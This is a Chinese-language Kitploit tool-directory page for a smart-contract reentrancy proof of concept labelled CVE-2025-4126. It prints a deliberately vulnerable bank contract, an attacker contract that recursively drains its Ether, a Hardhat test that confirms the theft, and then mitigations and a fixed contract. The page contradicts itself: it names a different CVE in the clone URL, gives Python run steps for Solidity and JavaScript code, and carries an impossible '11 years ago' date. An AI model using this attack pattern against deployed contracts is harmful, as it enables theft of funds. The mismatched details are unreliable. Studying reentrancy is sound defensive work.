Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4126 — 智能合约重入攻击漏洞POC | Kitploit
工具/GitHubGitHub/slow-mist/cve-2025-4126
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

智能合约重入攻击漏洞POC

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

POC-CVE-2025-4126

智能合约重入攻击漏洞验证

智能合约重入攻击 PoC

本仓库包含一个概念验证(PoC),演示以太坊智能合约中的重入攻击漏洞。该 PoC 包括一个存在漏洞的智能合约、一个攻击者合约,以及在本地测试环境中复现该攻击的说明。

目录

  • 概述
  • 漏洞描述
  • PoC 环境搭建
  • 运行 PoC
  • 许可证

概述

重入是以太坊智能合约中一种常见的漏洞,攻击者可以在第一次调用完成之前,通过外部合约重复回调原始合约,从而可能耗尽资金或操纵状态。此 PoC 演示了攻击者如何利用一个存在漏洞的合约来窃取以太币。

漏洞描述

存在漏洞的合约(VulnerableBank)允许用户存入和提取以太币。然而,它未能在进行外部调用之前正确处理状态更新,因此容易受到重入攻击。攻击者合约(Attacker)通过递归调用 withdraw 函数来耗尽合约的以太币余额,从而利用此漏洞。

关键问题

  • VulnerableBank 中的 withdraw 函数在更新用户余额之前先向调用者发送以太币。
  • 这使攻击者的合约可以在其 fallback 函数中再次调用 withdraw,从而耗尽合约的资金。

PoC 环境搭建

要运行此 PoC,你需要:

  • python3.x
  • pip3

安装与运行

  1. 克隆本仓库:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. 运行:
    root@kitploit:~
    python3 poc.py
    

PoC 代码

以下是此 PoC 中使用的两个合约:

VulnerableBank.sol

该合约模拟一个允许存款和取款的简单银行,但容易受到重入攻击。

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

该合约通过递归调用 withdraw 函数来利用重入漏洞。

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Hardhat 测试脚本

包含一个 Hardhat 测试脚本,用于自动执行攻击模拟。

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

预期输出

  • 银行初始余额:10 ETH
  • 银行最终余额:0 ETH
  • 攻击者余额:约 10 ETH(扣除 gas 费用)

缓解措施

为防止重入攻击,请考虑以下最佳实践:

  1. 检查-生效-交互(Checks-Effects-Interactions)模式:在进行外部调用之前更新状态(例如余额)。
  2. 重入防护(Reentrancy Guard):使用修饰器(例如 OpenZeppelin 的 ReentrancyGuard)来防止递归调用。
  3. 限制 Gas:限制转发给外部调用的 Gas,以防止复杂的重入逻辑。
  4. 使用 transfer 或 send:这些方法会限制 Gas,从而降低重入风险。

VulnerableBank.sol 的修复示例

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

许可证

本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。

下载工具